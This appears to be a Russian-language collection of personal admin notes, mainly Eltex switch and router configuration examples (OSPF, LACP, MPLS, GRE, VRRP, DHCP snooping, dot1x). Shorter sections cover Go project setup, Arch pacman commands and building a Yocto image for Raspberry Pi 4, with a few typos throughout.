ip dhcp server
ip dhcp pool network Test
address low 10.0.1.100 high 10.0.1.150 255.255.255.0
default-route 10.0.1.1
dns-server 10.0.1.1
ip dhcp exluded-address 10.0.1.120 - исключить адрес
exit
interface vlan 10
ip address 10.0.1.1/24
interface GigaEthernet 1/0/11
switchport access vlan 10


Настройка OSPF:
interface vlan 1
ip address 192.168.1.10/24
exit
router ospf 1 - здесь указываем роутер id 
router-id 192.168.1.10
network 192.168.1.10 area 0.0.0.0
redistribute connected subnets


Настройка do1x:
dot1x system-auth-control
aaa authentication dot1x default radius none
radius-server host 10.0.1.2 key eltex
interface gigabitethernet1/0/1
switchport access vlan 500
switchport mode access
dot1x host-mode multi-sessions
dot1x port-control auto
dot1x reauthentication
dot1x timeout tx-period 30


Шторм контроль:
errdisable recovery cause storm-control
interface gigabitethernet1/0/3
storm-control broadcat level 15 trap shutdown
storm-control unicast pps 12500 trap shutdown 
storm-control multicast kbps 20480 trap shutdown 

Борьба с петлями:
loopback-detection enable
loopback-detection mode {src-mac-addr|base-mac-addr|multicast-mac-addr|broadcast-mac-addr}
loopback-detection interval {1-60}
interface gigabitethernet 1/0/1
loopback-detection enable - включаем собстенно
errdisable recovery cause loopback-detection - обратно включаем если петля 


Включение защиты порта:
interface GigabitEthernet 1/0/1
port security mode max-address - ограничиваем кол-во адресов
port security max 10
port security discadr trap 100


Включение защиты dhcp-snooping:
ip dhcp snooping
ip dhcp snooping vlan 10
interface gigabiteyhernet 1/0/1
ip dhcp snooping trust

Включение IP secure Guard:
ip dhcp snooping
ip dhcp snooping vlan 1 - для влана
ip source guard
interface gigabitethernet 0/1 для интерфейса
ip source guard



Настройка статической маршрутизации:


Настройка статической маршрутизации:
Статическая маршрутизация — это механизм, при помощи которого в системе можно вручную создавать, удалять и модифицировать IP-маршруты. 
Статические маршруты могут быть заданы как в глобальной таблице маршрутизации, так и внутри VRF.

action Задание действия для пакетов для данного маршрута при маршрутизации трафика.
Отрицательная форма команды устанавливает значение по умолчанию (forward).
action { discard | forward | local | reject}
no action
discard — отбросить пакеты, редистрибуция разрешена
forward — отправить пакеты по маршруту
local — отбросить пакеты, редистрибуция запрещена
reject — не инсталлировать маршрут
router static 
address-family ipv4 unicast
destination 40.10.0.0/16 40.10.0.1
interface tengigabitethernet 0/0/7
action reject

destination - Создание статического маршрута в конфигурации семейства AFI/SAFI.
Отрицательная форма команды удаляет заданный статический маршрут.
[no] destination { IPv4_pref | IPv6_pref } { IPv4_nhop | IPv6_nhop }
IPv4_pref (X.X.X.X/N) — IPv4 префикс маршрута
IPv6_pref (X:X:X:X::X/N) — IPv6 префикс маршрута
IPv4_nhop (X.X.X.X) — IPv4 адрес следующего узла (nexthop) для маршрута
IPv6_nhop (X:X:X:X::X) — IPv6 адрес следующего узла (nexthop) для маршрута
router static
address-family ipv4 unicast
destination 40.10.0.0/16 40.10.0.1

interface - Команда принудительно задает интерфейс, через который будет направлен трафик по данному статическому маршруту,
и производит переход в режим настройки дополнительных параметров статического маршрута.
Отрицательная форма команды удаляет данный интерфейс из текущего маршрута.
router static
address-family ipv4 unicast
destination 40.10.0.0/16 40.10.0.1
interface tengigabitethernet 0/0/7

router static - Включение поддержки статической маршрутизации и переход в режим настройки статических маршрутов. 

tag - Задание тега маршрута. Данный тег является внутренним параметром маршрута, который может быть использован в дальнейшем, например, в правилах редистрибуции.
router static
address-family ipv4 unicast
destination 40.10.0.0/16 40.10.0.1
tag 3


OSPF


Настройка динамической маршрутизации OSPF
Существует три версии протокола OSPF:
v1 — в данный момент практически нигде не используется
v2 — используется для обмена маршрутной информацией протокола IPv4
v3 — используется для обмена маршрутной информацией протокола IPv6

address-prefix - Данная команда позволяет отфильтровать OSPFv2 IP LFA FRR маршруты в правиле lfa filter по префиксу, для которого будет рассчитываться альтернативный маршрут.
router ospfv2 PROCESS_NAME
lfa filter FILTER
address-prefix 10.0.0.0/8

advertise-max-metric - Команда устанавливает максимальную метрику для non-stub линков на период вермени, заданный командой time-to-advertise
router ospfv2 PROCESS_NAME
advertise-max-metric


area - Данная команда создает в конфигурации устройства определенную зону OSPFv2 и позволяет перейти в режим настройки конфигурации этой зоны. 
В режиме конфигурации зоны возможно, в первую очередь, непосредственно конфигурировать интерфейсы, которые будут участвовать в процессе маршрутизации OSPFv2.
[no] area AREA

router ospfv2 PROCESS_NAME
area 0.0.0.0


area-aggregate -  Данная команда позволяет создать в конфигурации правило для суммарного маршрута с LSA Type 3 или LSA Type 7.
[no] area-aggregate { nssa-external-lsa | summary-lsa } IPv4_PREFIX_FORMAT


area-id - Команда задает номер области (Area ID) для маршрута, анонсируемого командой host.
no area-id - Отрицательная форма команды удаляет настройку.
router ospfv2 PROCESS_NAME
host 10.10.10.10
area-id 10.0.0.0

as-br disable - Данная команда выключает в данном OSPFv2-процессе функционал Autonomous System Border Router (ASBR).
router ospfv2 PROCESS_NAME
as-br disable

authentication-key - Данная команда создает в конфигурации ключ аутентификации OSPF сессий на указанном интерфейсе.
router ospfv2 PROCESS_NAME
area 0.0.0.0
interface tengigabitethernet 0/0/1
authentication-key test

authentication-type - Команда задает тип шифрования, используемый при аутентификации. 
router ospfv2 PROCESS_NAME
area 0.0.0.0
interface tengigabitethernet 0/0/1
authentication-type md5

auto-cost reference-bandwidth - Команда задает референсное (максимальное) значение пропускной способности (bandwidth), 
относительно которого будет высчитываться стоимость интерфейса. 
Стоимость интерфейса с референсным значением будет равна единице.
router ospfv2 PROCESS_NAME
auto-cost reference-bandwidth 1000000

bandwidth - Команда задает значение пропускной способности (bandwidth) на интерфейсе, которое будет использовано 
при подсчете стоимости (cost) данного интерфейса относительно референсного значения.
router ospfv2 PROCESS_NAME
area 0.0.0.0
interface tengigabitethernet 0/0/1
bandwidth 100000

dead-interval - Данная команда позволяет задать в конфигурации значение OSPF Dead Interval.
router ospfv2 PROCESS_NAME
area 0.0.0.0
interface tengigabitethernet 0/0/1
dead-interval 10

disable - Данная команда запрещает добавление отфильтрованных OSPFv2 IP LFA FRR маршрутов при использовании фильтра lfa filter. 
router ospfv2 PROCESS_NAME
lfa filter FILTER
disable

dscp - Команда указывает значение DSCP для исходящих сообщений OSPF протокола.
router ospfv2 1
area 0.0.0.0
interface twentyfivegigabitethernet 0/0/2
dscp 32

effect - Команда указывает значение DSCP для исходящих сообщений OSPF протокола.
router ospfv2 PROCESS_NAME
area 0.0.0.0
area-aggregate summary-lsa 10.0.0.0/8
effect advertise-matching

external-lsa-refresh-interval - Команда задает интервал между обновлениями external LSA, принадлежащих маршрутизатору. 
router ospfv2 PROCESS_NAME
external-lsa-refresh-interval 60

Настройка LACP / LAG

Рассмотрим настройку LACP-группы в режиме active.
В режиме active порты коммутатора являются инициаторами согласования по протоколу LACP. 
На встречной стороне порт должен быть настроен как в режиме active, так и в режиме passive.

Необходимо выполнить следующее:
1) Включаем работу LAG глобально на коммутаторе:
configure terminal
set port-channel enable

2) Активируем группу, в которую будем включать интерфейсы:
interface port-channel 2
no shutdown
exit

3) Перейти в режим конфигурирования порта:
interface GigabitEthernet0/2

4) Настроить LACP-группу:
channel-group 2 mode active , где 2 – номер группы
active – добавить порт в LACP-группу в режиме active.


для роутера:
lacp
  interface bundle-ether 1
  exit
  interface tengigabitethernet 0/0/3
    bundle id 1
    bundle mode active
  exit
  interface tengigabitethernet 0/0/7
    bundle id 1
    bundle mode active
  exit
exit

Пример конфига свитча с lacp

! Configuration version 3.9.7.31R
hostname R2

interface bundle-ether 1
  bfd address-family ipv4 fast-detect
  bfd address-family ipv4 local-address 10.0.0.5
  bfd address-family ipv4 neighbor 10.0.0.6
  bfd rx-interval 25
  bfd tx-interval 25
  description to_SW2
  ipv4 address 10.0.10.1/24
exit
interface bundle-ether 1.135
  encapsulation outer-vid 135
exit
interface hundredgigabitethernet 0/0/1
exit
interface hundredgigabitethernet 0/0/2
exit
interface hundredgigabitethernet 0/0/3
exit
interface hundredgigabitethernet 0/0/4
exit
interface mgmt 0/fmc0/1
  ipv4 address 172.31.0.21/24
  vrf mgmt-intf
exit
interface tengigabitethernet 0/0/1
  description "Client enp1s0f1np0"
  load-interval 20
exit
interface tengigabitethernet 0/0/2
  load-interval 20
exit
interface tengigabitethernet 0/0/3
  description "SW2 ten1/0/1"
  load-interval 20
exit
interface tengigabitethernet 0/0/4
  load-interval 20
exit
interface tengigabitethernet 0/0/5
  load-interval 20
exit
interface tengigabitethernet 0/0/6
  load-interval 20
exit
interface tengigabitethernet 0/0/7
  description "SW2 ten1/0/7"
  load-interval 20
exit
interface tengigabitethernet 0/0/8
  load-interval 20
exit
interface tengigabitethernet 0/0/9
  load-interval 20
exit
interface tengigabitethernet 0/0/10
  load-interval 20
exit
interface tengigabitethernet 0/0/11
  load-interval 20
exit
interface tengigabitethernet 0/0/12
  load-interval 20
exit
interface tengigabitethernet 0/0/13
  load-interval 20
exit
interface tengigabitethernet 0/0/14
  load-interval 20
exit
interface tengigabitethernet 0/0/15
  load-interval 20
exit
interface tengigabitethernet 0/0/16
  load-interval 20
exit
interface tengigabitethernet 0/0/17
  load-interval 20
exit
interface tengigabitethernet 0/0/18
  load-interval 20
exit
interface tengigabitethernet 0/0/19
  load-interval 20
exit
interface tengigabitethernet 0/0/20
  load-interval 20
exit
interface tengigabitethernet 0/0/21
exit
interface tengigabitethernet 0/0/22
exit
interface tengigabitethernet 0/0/23
exit
interface tengigabitethernet 0/0/24
exit
interface tengigabitethernet 0/0/25
exit
interface tengigabitethernet 0/0/26
exit
interface tengigabitethernet 0/0/27
exit
interface tengigabitethernet 0/0/28
exit
interface tengigabitethernet 0/0/29
exit
interface tengigabitethernet 0/0/30
exit
interface tengigabitethernet 0/0/31
exit
interface tengigabitethernet 0/0/32
exit

vrf mgmt-intf
  rd 0:0
exit

lacp
  interface bundle-ether 1
  exit
  interface tengigabitethernet 0/0/3
    bundle id 1
    bundle mode active
  exit
  interface tengigabitethernet 0/0/7
    bundle id 1
    bundle mode active
  exit
exit

load-balancing hash-fields mac-dst
load-balancing hash-fields mac-src
load-balancing hash-fields port-dst
load-balancing hash-fields port-src
load-balancing lag shift 3

logging console debug

router static
  vrf mgmt-intf
    address-family ipv4 unicast
      destination 172.30.0.0/20 172.31.0.1
      exit
    exit
  exit
exit

ssh server vrf mgmt-intf
exit

telnet server vrf mgmt-intf
exit

user admin
  password encrypted $6$хеш
  privilege p15
exit


ospf (ME5200S+MES5324)

схема: r1 -> sw1 -> sw2 -> r2



r1 

router ospfv2 1
  area 0.0.0.0
    interface loopback 1
      mtu-ignore
      passive
    exit
    interface tengigabitethernet 0/0/1
      mtu-ignore
      network point-to-point
      passive
    exit
    interface tengigabitethernet 0/0/4
      metric 10
      mtu-ignore
      network point-to-point
    exit
  exit
  redistribution connected 1
  exit
  redistribution connected CONNECT-OSPF-20
    metric-type ospf-type1-external
    metric-value 300
    priority 20
  exit
  router-id 1.1.1.1
exit






sw1
router ospf 1
 network 10.0.50.1 area 0.0.0.0
 network 10.0.100.2 area 0.0.0.0
 router-id 1.1.1.2
 redistribute connected metric-type type-2 subnets
exit
!
interface ip 10.0.50.1
 ip ospf network point-to-point
exit
!
interface ip 10.0.100.2
 ip ospf network point-to-point
exit                      




sw2
router ospf 1
 network 10.0.10.2 area 0.0.0.0
 network 10.0.50.2 area 0.0.0.0
 router-id 1.1.1.3
 redistribute connected metric-type type-2 subnets
exit
!
interface ip 10.0.10.2
 ip ospf network point-to-point                       
exit
!
interface ip 10.0.50.2
 ip ospf network point-to-point
exit



r2 
router ospfv2 1
  area 0.0.0.0
    interface bundle-ether 1
      mtu-ignore
      network point-to-point
    exit
    interface loopback 1
      mtu-ignore
    exit
    interface tengigabitethernet 0/0/1
      mtu-ignore
      network point-to-point
    exit
  exit
  redistribution connected subnets
  exit
  redistribution local subnets
  exit
  router-id 1.1.1.4



OSPF

Существует 5 типов пакетов протокола OSPF, которые позволяют устанавливать соседство и выполнять обновление маршрутной информации:
Type 1 — Hello. Обнаруживает соседей и поддерживает соседские отношения.
Type 2 — Database Description. Описывает содержимое базы данных состояния канала маршрутизатора.
Type 3 — Link State Request (LSR). Запрос на получение базы данных состояния канала.
Type 4 — Link State Update (LSU). Обновление базы данных состояния канала (передача LSA соседним маршрутизаторам).
Type 5 — Link State Acknowledgment (LSAck). Подтверждение получения обновления.

Каждый пакет Link State Update, генерируемый маршрутизатором, содержит один или несколько LSA. Существует 5 различных типов LSA:
Type 1 — Router-LSA. 
Генерируется каждым маршрутизатором для каждой области, которой он принадлежит. 
Он описывает состояние интерфейсов маршрутизатора, подключенных к этой области.
Type 2 — Network-LSA. 
Генерируется назначенным маршрутизатором (DR). 
Он описывает набор маршрутизаторов, подключенных к определенной сети.
Рассылается только в области, содержащей эту сеть.
Type 3 или 4 — Summary-LSA. 
Описывают маршруты между областями.
Type 3 Summary-LSA генерируются ABR и описывают маршруты между ABR и внутренними маршрутизаторами локальной области. 
Они рассылаются через магистраль другим ABR. 
Type 4 Summary-LSA описывают маршруты к ASBR.
Type 5 - AS-external-LSA. 
Генерируются ASBR и описывают маршруты к пунктам назначения за пределами автономной системы.
Маршрут по умолчанию для автономной системы также описывается AS-external-LSA



Команды для диогностики ospf
MES5324:
общая инфа:
show ip ospf
соседи:
show ip ospf neighbor
обмен:
show ip ospf database

ME5200
общая инфа:
show ospfv2
соседи:
show ospfv2 neighbors
обмен:
show ospfv2 database

lacp MES5324 + MES5324:

Настройки sw1 
interface tengigabitethernet1/0/2
 channel-group 5 mode auto
exit
!
interface tengigabitethernet1/0/3                     
 channel-group 5 mode auto
exit
!
interface tengigabitethernet1/0/5
 channel-group 5 mode auto
exit
!
interface tengigabitethernet1/0/6
 channel-group 5 mode auto
exit
!
interface Port-channel5
 ip address 10.0.50.1 255.255.255.0
exit 

Настройки sw2   
interface tengigabitethernet1/0/2
 channel-group 5 mode auto
exit
!
interface tengigabitethernet1/0/3
 channel-group 5 mode auto
exit                                                  
!
interface tengigabitethernet1/0/5
 channel-group 5 mode auto
exit
!
interface tengigabitethernet1/0/6
 channel-group 5 mode auto
exit
!
interface Port-channel5
 ip address 10.0.50.2 255.255.255.0
exit

lacp MES5324 + ME5200S:

Настройка MES5324:
interface tengigabitethernet1/0/1
 channel-group 2 mode auto
exit
!
interface tengigabitethernet1/0/7
 channel-group 2 mode auto
exit
!
interface Port-channel2                               
 ip address 10.0.10.2 255.255.255.0
exit

Настройка ME5200S:
lacp
  interface bundle-ether 1
  exit
  interface tengigabitethernet 0/0/3
    bundle id 1
    bundle mode active
  exit
  interface tengigabitethernet 0/0/7
    bundle id 1
    bundle mode active
  exit
exit
!
interface bundle-ether 1
  ipv4 address 10.0.10.1/24
exit

тесты кабеля

Показать интерфейсы:
show interfaces status

Тест медного кабеля:
test cable-diagnostics tdr interface gi0/1
Показать длину медного кабеля:
show cable-diagnostics cable-length


Показать оптические интерфейсы:
show fiber-ports optical-transceiver
show fiber-ports optical-transceiver interface TengigabitEthernet1/0/7
show fiber-ports optical-transceiver detailed interface TengigabitEthernet1/0/7

Зеркало трафика:

monitor session 1 destination interface gi1/0/3 - куда перенаправить трафик
monitor session 1 source interface gi1/0/2 both - откуда откуда перенаправить  трафик

mpls

mpls label = 32 bit

layer2 Header | MPLS Header | IP Packet

      MPLS Header:32 Bits (4 Bytes)
The label Value |    Exp       |          S              | TTL
      20 bits   | 3 bits       | 1 bits                  | 8 bits 
1 -  1 048 576  | 8 значений   |  два значения 0 или 1   | 0-255


Стак S
Первый пришёл последний вышел FILO
Fist IN / Fist OUT
0 - еще будет mpls label
1 - все последний mpls label



LSR - LABEL SWITCH ROUTER
Ingress LSR (imposition) - получает IP пакет, пушит в него MPLS Label(stack)
                           Следовательно вылетает из него MPLS пакет

Egress LSR (disposition) - получает MPLS пакет, удаляет из него лейбл.
                           Следовательно вылетает из него уже IP пакет.

Ingress/Egress LSR - находятся по краям (edge)mpls сети.
                     Часто их называют PE(provider edge) устройствами

Intermediate LSR - получает MPLS пакет, производит операции над ним и отправляет MPLS трафик дальше.
                   Часто называются P (Provider) устройствами 


ip  ->   LSR -> ip   = IP FORWARDING
mpls -> LSR -> mpls  = INTERMEDIA LSR (P - provider)
mpls -> LSR -> ip    = EGRESS LSR
ip -> LSR -> mpls    = INGRESS LSR

CE ->> PE --> MPLS(P) <-- PE <--CE

CE - Costome Edge (оборудование которое ничего не знает про MPLS)
PE - Provider Edge ( на границе сети ) (Оборудование которое как то взаимодействует с MPLS, например ip -> mpls)
P - Provider Router ( внутри сети) (оборудование общающееся исключительно через MPLS)

imposition - добавление метки mpls
desposition - убирание метки mpls

LABEL SWITCH PATH (LSP). FEC
LSP - это простой список из LSR которые коммутируют MPLS пакет через всю MPLS сеть, либо через часть MPLS сети
Forwarding Equivalence Class (FEC) - группа пакетов которые коммутируются по одному и тому же пути и обслуживают одинаково
Все пакеты принадлежавшие одному FEC будут иметь один и тот же лейбл.
При этом пакеты с одним и тем же лейблом не всегда принадлежат к одному FEC, например, в случае если их mpls EXP отличаются.
Ingress LSR принимает решения о том, к каким FEC принадлежат приходящие в него пакеты.

LFIB - база меток mpls (Label Forwarding instance(information)Base
Содержит ipv4/ipv6 prefix, VPN prefix, TE tunnel, l2 forwarding entry, local label, remote label
85 17 eth1
11 22 eth2
13 33 eth3

Local Label - метка, которую локальный LSR назначил на префикс
Remote Label - метка, которую LSR получил от соседнего LSR

Протоколы получения лейблов:
1. Static ( возможность есть, но никогда так не делай! )
2. LDP ( сам все сделал, сам настроил )
3. RSGP-TE ( можно явно задать хождение трафика ) / Trafic Engineering
4. BGP
5. SR - mpls 
   SRv6 
   (модное под капотом OSPF/ISIS)



LDP = LABEL DISTRIBUTION PROTOCOL
назначает лейблы на все префиксы в таблице маршрутизации и передает соседям label binding
Prefix+label=binding
Labal binding передается соседям автоматически без каких то дополнительных запросов
SWAP - замена лейбла на другой
PUSH - был ip пакет ушел mpls
POP - был mpls ушел ip 



Включение mpls на cisco
mpls ldp router-id lo0
mpls ip

int gi 0/0
mpls ip

show mpls forwarding-table
show ip route


Включение mpls на eltex ME5200S
mpls
  forwarding
    interface loopback 1
    interface tengigabitethernet 0/0/4
  exit
  ldp
    discovery interface tengigabitethernet 0/0/4
    exit
    neighbor 10.50.50.4 - сосед
    exit
  exit
  router-id 10.50.50.1 - наш ип на loopback
  transport-address 10.50.50.1 - наш ип на loopback
exit



show mpls ldp forwarding - покажет метки
show mpls ldp bindings local - покажет распределение меток локально
show mpls ldp bindings remote - покажет распределение меток удаленных
show mpls ldp bindings mldp - покажет распределение меток

GRE пример конфигурации

Маршрутизатора A:
interface tunnel-ip 1
  ipv4 address 10.0.1.1/30
  tunnel destination 192.168.55.5
  tunnel encapsulation gre
  tunnel source 192.168.55.21
exit
interface tengigabitethernet 0/0/11.10043
  encapsulation outer-vid 100 inner-vid 43
  ipv4 address 192.168.43.1/24
exit
router static
  address-family ipv4 unicast
    destination 192.168.41.0/24 10.0.1.2
    exit
  exit
exit


Маршрутизатор Б:
interface tunnel-ip 1
  ipv4 address 10.0.1.2/30
  tunnel destination 192.168.55.21
  tunnel encapsulation gre
  tunnel source 192.168.55.5
exit
interface tengigabitethernet 0/1/5.10041
  encapsulation outer-vid 100 inner-vid 41
  ipv4 address 192.168.41.1/24
exit
router static
  address-family ipv4 unicast
    destination 192.168.43.0/24 10.0.1.1
    exit
  exit
exit



Пример 1-2:

router 1
interface tunnel-ip 1
  ipv4 address 10.99.99.1/30
  tunnel destination 10.50.50.4
  tunnel encapsulation gre
  tunnel source 10.50.50.1
exit

router 2
interface tunnel-ip 1
  ipv4 address 10.99.99.2/30
  tunnel destination 10.50.50.1
  tunnel encapsulation gre
  tunnel source 10.50.50.4
exit




ECMP

По умолчанию в OSPF - 5.
Чтобы заработал ECMP, необходимо прописать дополнительно:
router equal-cost
exit

Пример конфигурации IP SLA:

https://docs.eltex-co.ru/pages/viewpage.action?pageId=303825161&src=contextnavpagetreemode

vlan

MES5324:

interface tengigabitethernet1/0/1
 switchport mode general
 switchport general allowed vlan add 1002 tagged
 switchport forbidden default-vlan
exit

interface tengigabitethernet1/0/2
 spanning-tree disable                                
 spanning-tree bpdu filtering
 switchport mode general
 switchport general allowed vlan add 1002 tagged
 switchport forbidden default-vlan
exit

interface Port-channel2
 switchport mode general
 switchport general allowed vlan add 1002 tagged
 switchport forbidden default-vlan
exit


ME5200:
interface bundle-ether 1.1002
  encapsulation outer-vid 1002
  ipv4 address 10.75.75.2/24
exit

interface tengigabitethernet 0/0/4.1002
  encapsulation outer-vid 1002
  ipv4 address 10.75.75.1/24
exit

ESR VRRP кластер

sh run cluster
sh run bridges 100
bridge 100
  vlan 1
  ip firewall disable !!! ПОтотм включим как убедимся что заработало
  ip фввкуыы 192.168.100.1/24
unit 1 
 ip address 192.168.100.2/24
unit 2
  vrpp forse-up
  vrrp id 100
  vrrp 192.168.100.100/24
  vrrp group 1
  vrrp preempt disable
  vrrp timers garp refrash 1
  vrrp
  enable
exit 


Проверка
show cluster status
show cluster sync status


Интерфесы на первом юните нумеруется 1/0/1 а на втором 2/0/1
sh run int gi 1/0/1 - покажет первый  юнит
sh run int gi 2/0/1 - покажет второй юнит



bridge 20
 vlan 20
 security-zone trusted
 ip address 172.16.1.2/24 unit 1
 ip address 172.16.1.3/24 unit 2
 vrrp id 20
 vrrp ip 172.16.1.1/24
 vrrp group 1
 vrrp timers garp refrash 1
 vrrp
 enable
exit

object-group network sync_dst
  ip address-range 192.168.100.2 unit 1
  ip address-range 192.168.100.1 unit 2
exit
object-group network sync_src
  ip address-range 192.168.100.1 uni1
  ip address-range 192.168.100.2 unit2
exit

по поводу фаервола:
sh run failovers
ip failover
  local-address object-group sync_src
  remote-address object-group sync_dst
  vrrp-group 1
exit

ip firewall failover
  sync-type unicast
  port 9999
enable
exit


ip dhcp-server failover
  mode active-standby
  enable
exit

crypro-sync
  enable
exit


Проверка доступных сервисов:
show higj-availability state


Включение фаервола:
Проверяем сессии:
show ip firewall sessions inside-source-address 192.168.100.1

Рубрики
go

Пример создания проекта golang

0. Создаем директорию для проекта
mkdir ИМЯ_ПРОЕКТА
cd  ИМЯ_ПРОЕКТА
touch main.go

1. Первичная иницилизация
go mod init  ИМЯ_ПРОЕКТА

2. Докача модулей из интернета
go get путь_до_модуля
go get путь_до_модуля
go get путь_до_модуля
go get путь_до_модуля

Сборка:
go build -o ИМЯ_ПРОЕКТА_ЖЕЛАЕМОЕ_ИМЯ_БИНАРНИКА_Х86
GOOS=linux GOARCH=arm64 go build -o ИМЯ_ПРОЕКТА_АРМ64


P.S.
ИМЯ_ПРОЕКТА/
│── go.mod        # Файл с информацией о модулях
│── go.sum        # Контрольные суммы зависимостей
│── main.go       # Исходный код
└── ИМЯ_ПРОЕКТА   # Скомпилированный бинарник (после go build)


Рубрики
archlinux

pacman

Обновление системы:

pacman -Syu - Полное обновление системы: синхронизирует базы данных пакетов и обновляет все установленные пакеты до последних версий.
pacman -Sy - Синхронизирует базы данных пакетов (обновляет список доступных пакетов), но не устанавливает обновления.
pacman -Su - Обновляет установленные пакеты до последних версий (без синхронизации баз).


pacman -Syu - стандартная команда для поддержания системы в актуальном состоянии.

Установка пакетов:

pacman -S <имя_пакета> - Устанавливает указанный пакет и его зависимости.
pacman -S <пакет1> <пакет2> - Устанавливает несколько пакетов за раз.

Пример:
pacman -S htop - устанавливает утилиту htop для мониторинга процессов.

Удаление пакетов:

pacman -R <имя_пакета> - Удаляет указанный пакет, оставляя его зависимости.
pacman -Rs <имя_пакета> - Удаляет пакет и его зависимости, если они больше никому не нужны.
pacman -Rns <имя_пакета> - Удаляет пакет, зависимости и их конфигурационные файлы (более полное удаление).

Пример:
pacman -Rs htop — удаляет htop и ненужные зависимости.

Поиск пакетов:

pacman -Ss <ключевое_слово> - Ищет пакеты по ключевому слову в репозиториях (включая описание).
pacman -Qs <ключевое_слово> - Ищет установленные пакеты по ключевому слову.

Пример:
pacman -Ss firefox — ищет пакеты, связанные с Firefox.

Информация о пакетах:

pacman -Si <имя_пакета> - Показывает информацию о пакете из репозитория (версия, зависимости и т.д.).
pacman -Qi <имя_пакета> - Показывает информацию об уже установленном пакете.

Пример:
pacman -Qi htop — выводит данные об установленном htop.

Очистка системы:

pacman -Sc - Удаляет кэш загруженных пакетов, оставляя только установленные версии.
pacman -Scc - Полностью очищает кэш пакетов.
pacman -Rns $(pacman -Qdtq) - Удаляет "осиротевшие" пакеты (зависимости, которые больше не нужны).

Пример:
pacman -Scc — освобождает место, удалив весь кэш.

Работа с зависимостями и конфликтами:

pacman -Syu --ignore <имя_пакета> - Обновляет систему, игнорируя указанный пакет.
pacman -S --overwrite <файл> - Устанавливает пакет, перезаписывая конфликтующие файлы.

Пример:
pacman -Syu --ignore icu — обновляет систему, пропуская пакет icu.

Проверка системы:

pacman -Q - Показывает список всех установленных пакетов.
pacman -Qe - Показывает только явно установленные пакеты (не зависимости).
pacman -Qdt - Показывает осиротевшие пакеты.

Пример:
pacman -Qe — полезно, чтобы понять, что ты сам устанавливал.

Дополнительные полезные флаги:

--noconfirm - Подтверждает все действия автоматически (без вопросов "y/n").
--needed - Не переустанавливает уже установленные пакеты.

Пример:
pacman -S htop --noconfirm — устанавливает htop без подтверждения.

Практическая последовательность для новичка:


Обнови систему: pacman -Syu
Установи нужное: pacman -S <пакет>
Проверь установленные пакеты: pacman -Qe
Удали ненужное: pacman -Rs <пакет>
Очисти осиротевшие зависимости: pacman -Rns $(pacman -Qdtq)
Полностью очищает кэш пакетов и освобождает место: pacman -Scc 
Рубрики
Raspberry Pi

yocto raspberry4

Подготовка ПК:


0. Подготовка системы  debian/ubuntu:
apt update
apt install lz4 vim sudo gawk wget git-core diffstat unzip texinfo gcc-multilib build-essential chrpath socat cpio python3 python3-pip python3-pyelftools python3-pexpect xz-utils debianutils iputils-ping libsdl1.2-dev xterm
 
1. Опционально, команда python выполняет python3
update-alternatives --install /usr/bin/python python /usr/bin/python3 1
 
 
2. Настраиваем локаль:
vim /etc/locale.gen
-------------------
en_US.UTF-8           <---------- найти и раскоментить
------------------
 
Перечитать local:
locale-gen
На этом все, теперь у вас должна появится local en_US.UTF-8

Подготовка yocto:

0. Качаем репу:
git clone git://git.yoctoproject.org/poky
cd poky

1. Меняем репу на dunfell
git checkout dunfell

2. Преступаем к сборке
source oe-init-build-env

3. Настраиваем конфигурацию
vim conf/local.conf
-------------------
MACHINE = "raspberrypi4"
-------------------

Еще варианты:
MACHINE = "qemux86-64"
MACHINE = "qemux86"

Начинаем сборку:

Теперь можно приступить к сборке образа. 
Например, для создания минимального образа:
bitbake core-image-minimal

Если вам нужен образ с графическим интерфейсом:
bitbake core-image-sato


Создание образа SD-карты:

После завершения сборки, образ будет находиться в директории tmp/deploy/images//
cd tmp/deploy/images/raspberrypi4/
dd if=core-image-minimal-raspberrypi4.rpi-sdimg of=/dev/sdX bs=4M status=progress

wic

Создайте файл, например, my-image.wic, с таким содержимым:
cat >  my-image.wic << "EOF"
part /boot --source bootimg-partition --ondisk mmcblk0 --fstype=vfat --label boot --active --align 4
part / --source rootfs --ondisk mmcblk0 --fstype=ext4 --label root --align 4
EOF

Этот файл описывает образ с двумя разделами:
/boot — загрузочный раздел с файловой системой FAT32.
/ — корневой раздел с файловой системой ext4.

После того как вы собрали образ с помощью Yocto (например, bitbake core-image-minimal), 
вы можете использовать wic для создания образа SD-карты.
wic create my-image.wic -e <имя_образа>
Здесь:
my-image.wic — это ваш конфигурационный файл.
-e <имя_образа> — указывает, какой образ использовать (например, core-image-minimal).

Пример:
wic create my-image.wic -e core-image-minimal

Если вам нужно добавить дополнительные разделы или изменить структуру образа, вы можете редактировать .wic файл. 
Например:
part /data --source empty --ondisk mmcblk0 --fstype=ext4 --label data --size 1G
part /home --source rootfs --ondisk mmcblk0 --fstype=ext4 --label home --rootfs-dir=home


Использование готовых wic-шаблонов
wic list images
wic create sdimage-bootpart -e core-image-minimal


Если вам нужно добавить кастомные файлы или скрипты в образ, вы можете использовать директиву --source в .wic файле. 
Например:
part /scripts --source script --ondisk mmcblk0 --fstype=ext4 --label scripts --script myscript.sh



Создайте файл x86-image.wic:
# x86-image.wic
part /boot --source bootimg-pc --ondisk sda --fstype=vfat --label boot --active --align 4
part / --source rootfs --ondisk sda --fstype=ext4 --label root --align 4

wic create x86-image.wic -e core-image-minimal